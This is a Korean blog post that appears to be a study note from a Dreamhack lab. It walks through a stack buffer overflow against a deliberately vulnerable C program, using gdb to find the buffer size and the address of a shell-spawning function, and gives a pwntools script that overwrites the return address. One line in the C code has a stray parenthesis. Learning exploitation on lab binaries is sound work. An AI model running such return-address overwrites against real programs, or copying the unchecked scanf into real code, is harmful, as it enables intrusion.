외로운 Nova의 작업실
dreamhack 시스템해킹 - 7(stack buffer overflow) 본문
Computer App Penetesting/System Vulnerability
dreamhack 시스템해킹 - 7(stack buffer overflow)
Nova_ 2023. 1. 10. 22:45stack buffer overflow 실습을 해볼까합니다.
- 취약점이 있는 코드
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell(){
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main(){
char buf[0x28];
init();
printf("input: ");
scanf("%s", buf));
return 0;
}
scanf 함수는 사용자로부터 받은 값을 검증하지 않고 버퍼에 넣기때문에 버퍼보다 사용자로부터 받은 값이 크다면 버퍼를 흘러 넘치게됩니다. buf의 크기는 컴파일때 달라질 수 있기때문에 overflow를 하기전에 gdb를 통해 실제 buf의 크기와 get_shell 함수의 주소를 알아보겠습니다.
- gdb 리버싱
실제 보게되면 메인 함수이후에 buf를 설정하게디는데 sub rsp, 0x30에서 알수 있는 것처럼 실제 buf의 크기는 0x30인 것을 알 수 있습니다. 그렇다면 get_shell 함수의 주소를 알아보겠습니다.
0x4006fa임을 알 수 있습니다. 앞에 0을 붙이면 0x000004006fa임을 알 수 있습니다. 이를 토대로 python을 이용해 stack overflow를 실습해보겠습니다.
- rao.py
from pwn import *
p = process('./rao3.exe')
payload = b'A' * 0x30
payload += b'B'*0x8
payload += b'\xfa\x06\x40\x00\x00\x00\x00\x00'
p.send(payload)
p.interactive()
interactive()가 없다면 shell을 받을 수 없으니 꼭 넣어줍니다. 이제 실행시켜보겠습니다.
get_shell 함수의 주소를 ret값에 넣어 직접 실행시킬 수 있었습니다.
'Computer App Penetesting > System Vulnerability' 카테고리의 다른 글
dreamhack 시스템해킹 - 8(basic_exploitation_000 문제풀이) (0) | 2023.01.16 |
---|---|
wsl 64비트에서 32비트 프로그램 실행하기 (0) | 2023.01.16 |
system hacking 공격 기법 정리 (0) | 2023.01.04 |
dreamhack 시스템해킹 - 6(호출 규약) (0) | 2023.01.04 |
dreamhack 시스템해킹 - 5(shell_basic 문제풀이) (0) | 2023.01.03 |
Comments